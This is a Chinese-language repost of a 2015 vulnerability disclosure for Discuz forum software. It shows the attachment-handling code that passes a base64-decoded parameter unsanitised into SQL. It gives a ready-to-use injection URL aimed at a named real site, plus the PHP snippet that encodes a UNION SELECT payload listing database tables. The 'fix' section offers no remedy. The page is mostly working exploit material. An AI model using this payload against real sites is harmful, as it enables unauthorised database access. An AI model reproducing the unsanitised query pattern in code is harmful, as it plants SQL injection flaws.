来源:自学PHP网 时间:2015-04-17 14:46 作者: 阅读:次
[导读] 文件:source\module\forum\forum_attachment.phpif(!defined(#39;IN_DISCUZ#39;)) {exit(#39;Access Denied#39;);}define(#39;NOROBOT#39;, TRUE);@list($_G[#39;gp_aid#39;], $_G[#39;gp_k#39;]......
文件:source\module\forum\forum_attachment.php
if(!defined('IN_DISCUZ')) { exit('Access Denied'); } define('NOROBOT', TRUE); @list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));
if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) { dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']); }
变量aid 直接base64_decode 后传入SQL查询,造成注射漏洞。。。 漏洞证明: http://www.2cto.com /forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
http://www.2cto.com /forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member
暴出表名pre_common_admincp_member
实际查询为:
$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x"; die (urlencode(base64_encode($x)));
修复方案:您懂得! |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com